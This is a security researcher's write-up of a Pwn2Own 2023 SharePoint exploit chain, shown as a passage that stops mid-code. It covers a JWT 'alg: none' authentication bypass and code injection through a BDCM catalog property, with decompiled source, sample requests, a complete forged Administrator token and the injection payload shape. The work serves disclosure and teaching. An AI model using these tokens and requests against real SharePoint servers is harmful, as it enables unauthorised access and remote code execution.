I may have achieved successful exploitation of a SharePoint target during Pwn2Own Vancouver 2023. While the live demonstration lasted only approximately 30 seconds, it is noteworthy that the process of discovering and crafting the exploit chain consumed nearly a year of meticulous effort and research to complete the full exploit chain.
This exploit chain leverages two vulnerabilities to achieve pre-auth remote code execution (RCE) on the SharePoint server:
none
signing algorithm to subvert signature validation checks when verifying JWT tokens used for OAuth authentication. This vulnerability has been found right after I started this project for two days.Sharepoint Owners
permission can inject arbitrary code by replacing /BusinessDataMetadataCatalog/BDCMetadata.bdcm
file in the web root directory to cause compilation of the injected code into an assembly that is subsequently executed by SharePoint. This vulnerability was found on Feb 2022.The specific part of the Authentication Bypass vuln is: it can access to SharePoint API only. So, the most difficult part is to find the post-auth RCE chain that using SP API.
With the default SharePoint setup configuration, almost every requests send to SharePoint site will require NTLM Auth to process. While analyzing web config file, I’ve realized that there are at least 4 authentication types we can use.
Auth Module | Handled by class |
---|---|
FederatedAuthentication | SPFederationAuthenticationModule |
SessionAuthentication | SPSessionAuthenticationModule |
SPApplicationAuthentication | SPApplicationAuthenticationModule |
SPWindowsClaimsAuthentication | SPWindowsClaimsAuthenticationHttpModule |
I started to analyzing these modules one by one, then I’ve found something interesting in the SPApplicationAuthenticationModule.
This module registers the SPApplicationAuthenticationModule.AuthenticateRequest()
method for the Http event AuthenticateRequest
:
namespace Microsoft.SharePoint.IdentityModel
{
internal sealed class SPApplicationAuthenticationModule : IHttpModule
{
public void Init(HttpApplication context)
{
if (context == null)
{
throw new ArgumentNullException("context");
}
context.AuthenticateRequest += this.AuthenticateRequest;
context.PreSendRequestHeaders += this.PreSendRequestHeaders;
}
//...
}
//...
}
So everytime we try to send HTTP request to SharePoint Site, this method will be called to handle the authentication logic!
Take a closer look at the SPApplicationAuthenticationModule.AuthenticateRequest()
method, SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication()
will be called to check if the current URL is permitted to use OAuth as the authentication method:
private void AuthenticateRequest(object sender, EventArgs e)
{
if (!SPApplicationAuthenticationModule.ShouldTryApplicationAuthentication(context, spfederationAuthenticationModule)) // [1]
{
spidentityReliabilityMonitorAuthenticateRequest.ExpectedFailure(TaggingUtilities.ReserveTag(18990616U), "Not an OAuthRequest.");
//...
}
else
{
bool flag = this.ConstructIClaimsPrincipalAndSetThreadIdentity(httpApplication, context, spfederationAuthenticationModule, out text); // [2]
if (flag)
{
//...
spidentityReliabilityMonitorAuthenticateRequest.Success(null);
}
else
{
//...
OAuthMetricsEventHelper.LogOAuthMetricsEvent(text, QosErrorType.ExpectedFailure, "Can't sign in using token.");
}
//...
}
//...
}
At [1], If the request URL contains one of these patterns, it will be allowed to use OAuth authentication:
/_vti_bin/client.svc
/_vti_bin/listdata.svc
/_vti_bin/sites.asmx
/_api/
/_vti_bin/ExcelRest.aspx
/_vti_bin/ExcelRest.ashx
/_vti_bin/ExcelService.asmx
/_vti_bin/PowerPivot16/UsageReporting.svc
/_vti_bin/DelveApi.ashx
/_vti_bin/DelveEmbed.ashx
/_layouts/15/getpreview.ashx
/_vti_bin/wopi.ashx
/_layouts/15/userphoto.aspx
/_layouts/15/online/handlers/SpoSuiteLinks.ashx
/_layouts/15/wopiembedframe.aspx
/_vti_bin/homeapi.ashx
/_vti_bin/publiccdn.ashx
/_vti_bin/TaxonomyInternalService.json/GetSuggestions
/_layouts/15/download.aspx
/_layouts/15/doc.aspx
/_layouts/15/WopiFrame.aspx
When the above condition is satisfied, SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
will invoked to continue processing the authentication request at [2].
The relevant code for the SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
method is shown below:
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
{
ULS.SendTraceTag(832154U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Medium, "SPApplicationAuthenticationModule: Couldn't find a valid token in the request.");
return false;
}
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
//...
}
Note: The code at [4] and [5] will be discussed at a much later stage.
At [3], the SPApplicationAuthenticationModule.TryExtractAndValidateToken()
method will try to parse the authentication token from HTTP request and perform validation checks:
private bool TryExtractAndValidateToken(HttpContext httpContext, out SPIncomingTokenContext tokenContext, out SPIdentityProofToken identityProofToken)
{
//...
if (!this.TryParseOAuthToken(httpContext.Request, out text)) // [6]
{
return false;
}
//...
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && this.TryParseProofToken(httpContext.Request, out text2))
{
SPIdentityProofToken spidentityProofToken = SPIdentityProofTokenUtilities.CreateFromJsonWebToken(text2, text); // [7]
}
if (VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenProofToken) && !string.IsNullOrEmpty(text2))
{
Microsoft.IdentityModel.Tokens.SecurityTokenHandler identityProofTokenHandler = SPClaimsUtility.GetIdentityProofTokenHandler();
StringBuilder stringBuilder = new StringBuilder();
using (XmlWriter xmlWriter = XmlWriter.Create(stringBuilder))
{
identityProofTokenHandler.WriteToken(xmlWriter, spidentityProofToken); // [8]
}
SPIdentityProofToken spidentityProofToken2 = null;
using (XmlReader xmlReader = XmlReader.Create(new StringReader(stringBuilder.ToString())))
{
spidentityProofToken2 = identityProofTokenHandler.ReadToken(xmlReader) as SPIdentityProofToken;
}
ClaimsIdentityCollection claimsIdentityCollection = null;
claimsIdentityCollection = identityProofTokenHandler.ValidateToken(spidentityProofToken2); // [9]
tokenContext = new SPIncomingTokenContext(spidentityProofToken2.IdentityToken, claimsIdentityCollection);
identityProofToken = spidentityProofToken2;
tokenContext.IsProofTokenScenario = true;
SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext); // [10]
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthIdentityType(tokenContext, httpContext.Request);
SPIncomingServerToServerProtocolIdentityHandler.SetRequestIncomingOAuthTokenType(tokenContext, httpContext.Request);
}
}
At [6], the TryParseOAuthToken()
method will attempt to retrieve the OAuth access token from HTTP request from either the query string parameter access_token
or the Authorization
header, and store it into the text
variable.
For example, the HTTP request will resemble the following:
GET /_api/web/ HTTP/1.1
Connection: close
Authorization: Bearer <access_token>
User-Agent: python-requests/2.27.1
Host: sharepoint
Similarly, after extracting the OAuth access token from the HTTP request, the TryParseProofToken()
method will attempt to retrieve the proof token from HTTP request from either the query string parameter prooftoken
or the X-PROOF_TOKEN
header, and store it into the text2
variable.
At [7], both tokens are then passed to the SPIdentityProofTokenUtilities.CreateFromJsonWebToken()
method as arguments.
The relevant code of the SPIdentityProofTokenUtilities.CreateFromJsonWebToken()
method is shown below:
internal static SPIdentityProofToken CreateFromJsonWebToken(string proofTokenString, string identityTokenString)
{
RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler nonValidatingJsonWebSecurityTokenHandler = new RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler();
SecurityToken securityToken = nonValidatingJsonWebSecurityTokenHandler.ReadToken(proofTokenString); // [11]
if (securityToken == null)
{
ULS.SendTraceTag(3536843U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Proof token is not a valid JWT string.");
throw new InvalidOperationException("Proof token is not JWT");
}
SecurityToken securityToken2 = nonValidatingJsonWebSecurityTokenHandler.ReadToken(identityTokenString); // [12]
if (securityToken2 == null)
{
ULS.SendTraceTag(3536844U, ULSCat.msoulscat_WSS_ApplicationAuthentication, ULSTraceLevel.Unexpected, "CreateFromJsonWebToken: Identity token is not a valid JWT string.");
throw new InvalidOperationException("Identity token is not JWT");
}
//...
JsonWebSecurityToken jsonWebSecurityToken = securityToken2 as JsonWebSecurityToken;
if (jsonWebSecurityToken == null || !jsonWebSecurityToken.IsAnonymousIdentity())
{
spidentityProofToken = new SPIdentityProofToken(securityToken2, securityToken);
try
{
new SPAudienceValidatingIdentityProofTokenHandler().ValidateAudience(spidentityProofToken); // [13]
return spidentityProofToken;
}
//...
}
//...
}
At a quick glance, it can be inferred that both the access token (passed as identityTokenString
parameter) and the proof token (passed as proofTokenString
parameter) are expected to be JSON Web Tokens (JWTs).
An instance of the RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler
type is initialized to perform token parsing and validation before calling the nonValidatingJsonWebSecurityTokenHandler.ReadToken()
method at [11].
The RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler
type is a sub-type of JsonWebSecurityTokenHandler
. Since RequestApplicationSecurityTokenResponse.NonValidatingJsonWebSecurityTokenHandler
does not override the ReadToken()
method, calling nonValidatingJsonWebSecurityTokenHandler.ReadToken()
method is equivalent to calling JsonWebSecurityTokenHandler.ReadToken()
(wrapper function for the JsonWebSecurityTokenHandler.ReadTokenCore()
method).
The relevant code of JsonWebSecurityTokenHandler
that validates the access and proof tokens at [11] and at [12] respectively is shown below:
public virtual SecurityToken ReadToken(string token)
{
return this.ReadTokenCore(token, false);
}
public virtual bool CanReadToken(string token)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
return this.IsJsonWebSecurityToken(token);
}
private bool IsJsonWebSecurityToken(string token)
{
return Regex.IsMatch(token, "^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$");
}
private SecurityToken ReadTokenCore(string token, bool isActorToken)
{
Utility.VerifyNonNullOrEmptyStringArgument("token", token);
if (!this.CanReadToken(token)) // [14]
{
throw new SecurityTokenException("Unsupported security token.");
}
string[] array = token.Split(new char[] { '.' });
string text = array[0]; // JWT Header
string text2 = array[1]; // JWT Payload (JWS Claims)
string text3 = array[2]; // JWT Signature
Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary.DecodeFromJson(Base64UrlEncoder.Decode(text));
Dictionary<string, string> dictionary2 = new Dictionary<string, string>(StringComparer.Ordinal);
dictionary2.DecodeFromJson(Base64UrlEncoder.Decode(text2));
string text4;
dictionary.TryGetValue("alg", out text4); // [15]
SecurityToken securityToken = null;
if (!StringComparer.Ordinal.Equals(text4, "none")) // [16]
{
if (string.IsNullOrEmpty(text3))
{
throw new SecurityTokenException("Missing signature.");
}
SecurityKeyIdentifier signingKeyIdentifier = this.GetSigningKeyIdentifier(dictionary, dictionary2);
SecurityToken securityToken2;
base.Configuration.IssuerTokenResolver.TryResolveToken(signingKeyIdentifier, out securityToken2);
if (securityToken2 == null)
{
throw new SecurityTokenException("Invalid JWT token. Could not resolve issuer token.");
}
securityToken = this.VerifySignature(string.Format(CultureInfo.InvariantCulture, "{0}.{1}", new object[] { text, text2 }), text3, text4, securityToken2);
}
//...
}
At [14], the JsonWebSecurityTokenHandler.CanReadToken()
method is first invoked to ensure that the token
matches the regular expression ^[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]+\\.[A-Za-z0-9-_]*$
. Basically, this checks that the user-supplied token
resembles a valid JWT token with each portion (i.e. header, payload and signature) being Base64-encoded.
Afterwards, the header, payload and signature portions of the JWT token are extracted. Base64-decoding is then performed on header and payload portions before parsing them as JSON objects.
At [15], the alg
field (i.e. signing algorithm) is extracted from the header portion. For example, the value for the alg
field is HS256
if the Base64-decoded header portion is:
{
"alg": "HS256",
"typ": "JWT"
}
The first part of the root cause of this authentication bypass vulnerability can be found at [16] – there is a logic flaw when validating the signature of the JWT token provided. If the alg
field is not set to none
, the method VerifySignature()
is called to verify the signature of JWT token provided. However, if the alg
is none
, the signature validation check in JsonWebSecurityTokenHandler.ReadTokenCore()
is skipped!
Back at [13], SPAudienceValidatingIdentityProofTokenHandler.ValidateAudience()
performs validation checks against the aud
(audience) field from the header portion of the proof token supplied.
Below is an example of a valid value for the aud
field:
00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af
The format of the aud
field is <client_id>/<hostname>@<realm>
:
00000003-0000-0ff1-ce00-000000000000
is accepted as a valid <client_id>
for all SharePoint on-premise instances.<hostname>
refers to the hostname of the SharePoint server (target) for the current HTTP request (e.g. splab
)<realm>
(e.g. 3b80be6c-6741-4135-9292-afed8df596af
) can be obtained from the WWW-Authenticate
response header by sending a request to /_api/web/
with header Authorization: Bearer
.Below is an example of the HTTP request used to obtain the <realm>
required to construct a valid value for the aud
field:
GET /_api/web/ HTTP/1.1
Connection: close
User-Agent: python-requests/2.27.1
Host: sharepoint
Authorization: Bearer
The HTTP response will include the <realm>
in the WWW-Authenticate
response header:
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
//...
WWW-Authenticate: Bearer realm="3b80be6c-6741-4135-9292-afed8df596af",client_id="00000003-0000-0ff1-ce00-000000000000",trusted_issuers="00000003-0000-0ff1-ce00-000000000000@3b80be6c-6741-4135-9292-afed8df596af"
After that, a new SPIdentityProofToken
will be created from user-supplied access and proof tokens, and the control flows to [8].
At [8], identityProofTokenHandler
is returned by the SPClaimsUtility.GetIdentityProofTokenHandler()
method:
internal static SecurityTokenHandler GetIdentityProofTokenHandler()
{
//...
return securityTokenHandlerCollection.Where((SecurityTokenHandler h) => h.TokenType == typeof(SPIdentityProofToken)).First<SecurityTokenHandler>();
}
The implementation of the SPClaimsUtility.GetIdentityProofTokenHandler()
method implies that the identityProofTokenHandler
returned will be an instance of SPIdentityProofTokenHandler
.
At [9], identityProofTokenHandler.ValidateToken(spidentityProofToken2)
will then flow to SPIdentityProofTokenHandler.ValidateTokenIssuer()
.
In the SPIdentityProofTokenHandler.ValidateTokenIssuer()
method, notice that if the token
parameter is a hashed proof token, validation of the issuer
field will be skipped!
internal void ValidateTokenIssuer(JsonWebSecurityToken token)
{
bool flag = VariantConfiguration.IsGlobalExpFeatureToggleEnabled(ExpFeatureId.AuthZenHashedProofToken);
if (flag && SPIdentityProofTokenUtilities.IsHashedProofToken(token))
{
ULS.SendTraceTag(21559514U, SPJsonWebSecurityBaseTokenHandler.Category, ULSTraceLevel.Medium, "Found hashed proof tokem, skipping issuer validation.");
return;
}
//...
this.ValidateTokenIssuer(token.ActorToken.IssuerToken as X509SecurityToken, token.ActorToken.Issuer);
}
The implementation of the SPIdentityProofTokenUtilities.IsHashedProofToken()
method is shown below:
internal static bool IsHashedProofToken(JsonWebSecurityToken token)
{
if (token == null)
{
return false;
}
if (token.Claims == null)
{
return false;
}
JsonWebTokenClaim singleClaim = token.Claims.GetSingleClaim("ver");
return singleClaim != null && singleClaim.Value.Equals(SPServerToServerProtocolConstants.HashedProofToken, StringComparison.InvariantCultureIgnoreCase);
}
Setting the ver
field to hashedprooftoken
in the payload portion of the JWT token makes the SPIdentityProofTokenUtilities.IsHashedProofToken()
method return true
, allowing the issuer
field validation check to be subverted.
Back to [10], SPClaimsUtility.VerifyProofTokenEndPointUrl(tokenContext)
is called to verify the hash for current URL. The required value to be stored in the endpointurl
field in the JWT payload portion can be derived by computing:
base64_encode(sha256(request_url))
After executing SPApplicationAuthenticationModule.TryExtractAndValidateToken()
, the code flows to the SPApplicationAuthenticationModule.ConstructIClaimsPrincipalAndSetThreadIdentity()
method and reaches [4]:
private bool ConstructIClaimsPrincipalAndSetThreadIdentity(HttpApplication httpApplication, HttpContext httpContext, SPFederationAuthenticationModule fam, out string tokenType)
{
//...
if (!this.TryExtractAndValidateToken(httpContext, out spincomingTokenContext, out spidentityProofToken)) // [3]
//...
if (spincomingTokenContext.TokenType != SPIncomingTokenType.Loopback && httpApplication != null && !SPSecurityTokenServiceManager.LocalOrThrow.AllowOAuthOverHttp && !Uri.UriSchemeHttps.Equals(SPAlternateUrl.ContextUri.Scheme, StringComparison.OrdinalIgnoreCase)) // [4]
{
SPApplicationAuthenticationModule.SendSSLRequiredResponse(httpApplication);
}
JsonWebSecurityToken jsonWebSecurityToken = spincomingTokenContext.SecurityToken as JsonWebSecurityToken;
//...
this.SignInProofToken(httpContext, jsonWebSecurityToken, spidentityProofToken); // [5]
If the spincomingTokenContext.TokenType
is not spincomingTokenContext.Loopback
and the current HTTP request is not encrypted by SSL, an exception will be thrown. As such, the isloopback
claim needs to be set to true
within the spoofed JWT token to make spincomingTokenContext.TokenType == spincomingTokenContext.Loopback
, thereby ensuring that no exceptions are thrown and the code continues to execute normally.
Subsequently, at [5], the token will be passed into SPApplicationAuthenticationModule.SignInProofToken()
.
private void SignInProofToken(HttpContext httpContext, JsonWebSecurityToken token, SPIdentityProofToken proofIdentityToken)
{
SecurityContext.RunAsProcess(delegate
{
Uri contextUri = SPAlternateUrl.ContextUri;
SPAuthenticationSessionAttributes? spauthenticationSessionAttributes = new SPAuthenticationSessionAttributes?(SPAuthenticationSessionAttributes.IsBrowser);
SecurityToken securityToken = SPSecurityContext.SecurityTokenForProofTokenAuthentication(proofIdentityToken.IdentityToken, proofIdentityToken.ProofToken, spauthenticationSessionAttributes);
IClaimsPrincipal claimsPrincipal = SPFederationAuthenticationModule.AuthenticateUser(securityToken);
//...
});
}
This method will create an instance of SecurityTokenForContext
from the user-supplied JWT token and send it to Security Token Service (STS) for authentication.
This is the most important part of the whole vulnerability – if the STS accepts the spoofed JWT token, then it is possible to impersonate as any SharePoint user!
For brevity, the spoofed JWT token should be resemble the following:
eyJhbGciOiAibm9uZSJ9.eyJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAiLCJhdWQiOiAgIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMC9zcGxhYkAzYjgwYmU2Yy02NzQxLTQxMzUtOTI5Mi1hZmVkOGRmNTk2YWYiLCJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCIsIm5hbWVpZCI6ImMjLnd8QWRtaW5pc3RyYXRvciIsICAgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vc2hhcmVwb2ludC8yMDA5LzA4L2NsYWltcy91c2VybG9nb25uYW1lIjoiQWRtaW5pc3RyYXRvciIsICAgImFwcGlkYWNyIjoiMCIsICJpc3VzZXIiOiIwIiwgImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vb2ZmaWNlLzIwMTIvMDEvbmFtZWlkaXNzdWVyIjoiQWNjZXNzVG9rZW4iLCAgInZlciI6Imhhc2hlZHByb29mdG9rZW4iLCJlbmRwb2ludHVybCI6ICJGVkl3QldUdXVXZnN6TzdXWVJaWWlvek1lOE9hU2FXTy93eURSM1c2ZTk0PSIsIm5hbWUiOiJmI3h3fEFkbWluaXN0cmF0b3IiLCJpZGVudGl0eXByb3ZpZGVyIjoid2luZE93czphYWFhYSIsInVzZXJpZCI6ImFzYWFkYXNkIn0.YWFh
The Base64-decoded portions of the spoofed JWT token is shown below:
{"alg": "none"}
{"iss":"00000003-0000-0ff1-ce00-000000000000","aud": "00000003-0000-0ff1-ce00-000000000000/splab@3b80be6c-6741-4135-9292-afed8df596af","nbf":"1673410334","exp":"1693410334","nameid":"c#.w|Administrator", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"Administrator", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "FVIwBWTuuWfszO7WYRZYiozMe8OaSaWO/wyDR3W6e94=","name":"f#xw|Administrator","identityprovider":"windOws:aaaaa","userid":"asaadasdIn0
Note that the nameid
field will need to be modified to impersonate the corresponding user in the SharePoint site.
So we’ve got an authentication bypass, but it may require to know at least one username exists in the SharePoint site. If not, SharePoint Site will reject the authentication and we can’t access to any feature. At first, I thought that problem was easy to solve because the user “Administrator” exists in every windows server 2022 instance. But it’s not! . . Yes, we can assume that user “Administrator” exists in every windows server 2022 instance, but that’s not what we need. With a correctly configured SharePoint instance:
That means in the Pwn2Own setup, the “Administrator” account will not be a SharePoint Site Member.
This part of the exploit took me a few days of reading ZDI’s series blog post about SharePoint again and again, until i realized this line:
This entrypoint /my
didn’t exist in my SharePoint instance.
After searching for a while, I’ve found out they (team ZDI) use the Initial Farm Configuration Wizard to setup the SharePoint server instead of configuring it manually (like what i thought/did).
While using the Initial Farm Configuration Wizard, many other feature will be enabled, User Profile Service is the service responsible for the entrypoint /my
.
This entrypoint has the Read Permission
granted to Authenticated users
, which mean any authenticated users
can access to this site, get user list and admin username.
By using the authentication bypass in My Site
site,
NT AUTHORITY\LOCAL SERVICE
, NT AUTHORITY\SYSTEM
./my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true
Then we can impersonate Site Admin user and perform any further action!
As mentioned at the beginning, although we can impersonate as any user, but limited only in SharePoint API.
I’ve been searching back old SharePoint vuln but can’t find any vulnerability that reachable via API (or at least i don’t know how at that time).
Well, then it took me half of 2022 to read SharePoint API source code and end up with this vulnerability!
The code injection vulnerability exists in DynamicProxyGenerator.GenerateProxyAssembly()
method. The relevant portion of the aforesaid method’s implementation is shown below:
//Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator
public virtual Assembly GenerateProxyAssembly(DiscoveryClientDocumentCollection serviceDescriptionDocuments, string proxyNamespaceName, string assemblyPathAndName, string protocolName, out string sourceCode)
{
//...
CodeNamespace codeNamespace = new CodeNamespace(proxyNamespaceName); // [17]
//...
CodeCompileUnit codeCompileUnit = new CodeCompileUnit();
codeCompileUnit.Namespaces.Add(codeNamespace); // [18]
codeCompileUnit.ReferencedAssemblies.Add("System.dll");
//...
CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
StringCollection stringCollection = null;
//...
using (TextWriter textWriter = new StringWriter(new StringBuilder(), CultureInfo.InvariantCulture))
{
CodeGeneratorOptions codeGeneratorOptions = new CodeGeneratorOptions();
codeDomProvider.GenerateCodeFromCompileUnit(codeCompileUnit, textWriter, codeGeneratorOptions);
textWriter.Flush();
sourceCode = textWriter.ToString(); // [19]
}
CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromDom(compilerParameters, new CodeCompileUnit[] { codeCompileUnit }); // [20]
//...
}
The main logic of this method is to generate an Assembly
with the proxyNameSpace
. At [17], an instance of CodeNamespace
is initialized using the proxyNamespaceName
parameter. This CodeNamespace
instance is then added to codeCompileUnit.Namespaces
at [18].
After that, at [19], codeDomProvider.GenerateCodeFromCompileUnit()
will generate the source code using the aforesaid codeCompileUnit
which included our proxyNamespaceName
, storing the source code in the variable sourceCode
.
It was discovered that no validation is done for the proxyNamespaceName
parameter. Consequently, by supplying malicious input as the proxyNamespaceName
parameter, arbitrary contents can be injected into the code to be compiled for the Assembly
to be generated at [20].
For example:
proxyNamespaceName
is Foo
, then the generated code is:Hacked{} namespace Foo
is supplied for the proxyNamespaceName
parameter, the following code is generated and compiled:namespace Hacked{
//Malicious code
}
namespace Foo{}
The DynamicProxyGenerator.GenerateProxyAssembly()
method is invoked via reflection in WebServiceSystemUtility.GenerateProxyAssembly()
:
[PermissionSet(SecurityAction.Assert, Name = "FullTrust")]
public virtual ProxyGenerationResult GenerateProxyAssembly(ILobSystemStruct lobSystemStruct, INamedPropertyDictionary lobSystemProperties)
{
AppDomain appDomain = AppDomain.CreateDomain(lobSystemStruct.Name, new Evidence(new object[]
{
new Zone(SecurityZone.MyComputer)
}, new object[0]), setupInformation, permissionSet, new StrongName[0]);
object dynamicProxyGenerator = null;
SPSecurity.RunWithElevatedPrivileges(delegate
{
dynamicProxyGenerator = appDomain.CreateInstanceAndUnwrap(this.GetType().Assembly.FullName, "Microsoft.SharePoint.BusinessData.SystemSpecific.WebService.DynamicProxyGenerator", false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, null, null, null); // [21]
});
Uri uri = WebServiceSystemPropertyParser.GetUri(lobSystemProperties, "WsdlFetchUrl");
string webServiceProxyNamespace = WebServiceSystemPropertyParser.GetWebServiceProxyNamespace(lobSystemProperties); // [22]
string webServiceProxyProtocol = WebServiceSystemPropertyParser.GetWebServiceProxyProtocol(lobSystemProperties);
WebProxy webProxy = WebServiceSystemPropertyParser.GetWebProxy(lobSystemProperties);
object[] array = null;
try
{
array = (object[])dynamicProxyGenerator.GetType().GetMethod("GenerateProxyAssemblyInfo", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic).Invoke(dynamicProxyGenerator, new object[] { uri, webServiceProxyNamespace, webServiceProxyProtocol, webProxy, null, httpAuthenticationMode, text, text2 }); // [23]
}
//...
The reflection calls can be found at [21] and [23].
At [22], notice that the proxyNamespaceName
is retrieved from method WebServiceSystemPropertyParser.GetWebServiceProxyNamespace()
, which retrieves the WebServiceProxyNamespace
property of the current LobSystem
:
internal static string GetWebServiceProxyNamespace(INamedPropertyDictionary lobSystemProperties)
{
//...
string text = lobSystemProperties["WebServiceProxyNamespace"] as string;
if (!string.IsNullOrEmpty(text))
{
return text.Trim();
}
//...
}
To reach the WebServiceSystemUtility.GenerateProxyAssembly()
method, it was discovered that the Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute()
method could be used. As explained later on, this Entity.Execute()
method can also be used to load the generated Assembly
and instantiate a Type
within the generated Assembly
, thereby allowing for remote code execution.
The relevant code of the Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.Execute()
method is shown below:
...
[ClientCallableMethod] // [24]
...
internal MethodExecutionResult Execute([ClientCallableConstraint(FixedId = "1", Type = ClientCallableConstraintType.NotNull)] [ClientCallableConstraint(FixedId = "2", Type = ClientCallableConstraintType.NotEmpty)] string methodInstanceName, [ClientCallableConstraint(FixedId = "3", Type = ClientCallableConstraintType.NotNull)] LobSystemInstance lobSystemInstance, object[] inputParams) // [25]
{
if (((ILobSystemInstance)lobSystemInstance).GetLobSystem().SystemType == SystemType.DotNetAssembly) // [26]
{
throw new InvalidOperationException("ClientCall execute for DotNetAssembly lobSystem is not allowed.");
}
//...
this.m_entity.Execute(methodInstance, lobSystemInstance, ref array); // [27]
}
At [24], since the method has the [ClientCallableMethod]
attribute, the method is accessible via SharePoint REST APIs. There is a check at [26] to ensure that the SystemType
of the LobSystem
is not be equals to SystemType.DotNetAssembly
before calling this.m_entity.Execute()
at [27].
However, there is a small hurdle at this point – at [25], how does one obtain a valid reference of LobSystemInstance
and supply it as an argument via REST API? It turns out that using the Client Query feature, it is possible to reference the desired LobSystemInstance
through the use of ObjectIdentity
, which is constructed by BCSObjectFactory
. Essentially, using the Client Query feature allows invoking of any methods with the [ClientCallableMethod]
attribute, and allow supplying of non-trivial arguments like object references.
For example, a request can be made to /_vti_bin/client.svc/ProcessQuery
with the following request body to obtain a reference of the desired LobSystemInstance
:
<Identity Id="17" Name="<random guid>|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:jHRORCVc,jHRORCVc" />
The static values used in the above payload are explained below:
4da630b6-36c5-4f55-8e01-5cd40e96104d
refers to the type ID used by BCSObjectFactory.GetObjectById()
.lsifile
will return the LobSystemInstance
from BDCMetaCatalog
fileBDCMetaCatalog
refers to the Business Data Connectivity Metadata (BDCM) catalog, and LobSystem
and Entity
objects are stored within the BDCM catalog. The data of BDCM catalog can either be stored in the database or in a file located at /BusinessDataMetadataCatalog/BDCMetadata.bdcm
rooted at the SharePoint site URL.
While analyzing BCSObjectFactory.GetObjectById()
, it was discovered that it is possible to construct and obtain a reference of the LobSystem
, LobSystemInstance
and Entity
from a BDCM catalog file.
Luckily, it is possible to write to the BDCM catalog file. This would mean that arbitrary LobSystem
objects can be inserted, and arbitrary Property
objects within the LobSystem
object, such as the WebServiceProxyNamespace
property, can be specified. Consequently, code injection via the WebServiceProxyNamespace
property of the LobSystem
object allows arbitrary code to be injected into the Assembly
generated.
Going back to [27], this.m_entity
can be an instance of Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.DataClass
or Microsoft.SharePoint.BusinessData.MetadataModel.Static.DataClass
. Regardless, both methods will eventually call Microsoft.SharePoint.BusinessData.Runtime.DataClassRuntime.Execute()
.
Subsequently, DataClassRuntime.Execute()
will call DataClassRuntime.ExecuteInternal()
-> ExecuteInternalWithAuthNFailureRetry()
-> WebServiceSystemUtility.ExecuteStatic()
:
public override void ExecuteStatic(IMethodInstance methodInstance, ILobSystemInstance lobSystemInstance, object[] args, IExecutionContext context)
{
//...
if (!this.initialized)
{
this.Initialize(lobSystemInstance); // [28]
}
object obj = lobSystemInstance.CurrentConnection;
bool flag = obj != null;
if (!flag)
{
try
{
obj = this.connectionManager.GetConnection(); // [29]
//...
}
//...
}
//...
}
At [28], WebServiceSystemUtility.Initialize()
will be called:
protected virtual void Initialize(ILobSystemInstance lobSystemInstance)
{
INamedPropertyDictionary properties = lobSystemInstance.GetProperties();
//...
this.connectionManager = ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance); // [30]
//...
}
At [30], ConnectionManagerFactory.Value.GetConnectionManager(lobSystemInstance)
will initialise and return the ConnectionManager
for the current LobSystem
instance. With WebServiceSystemUtility
, this.connectionManager
will be an instance of WebServiceConnectionManager
.
The relevant code of WebServiceConnectionManager
is shown below:
public override void Initialize(ILobSystemInstance forLobSystemInstance)
{
//...
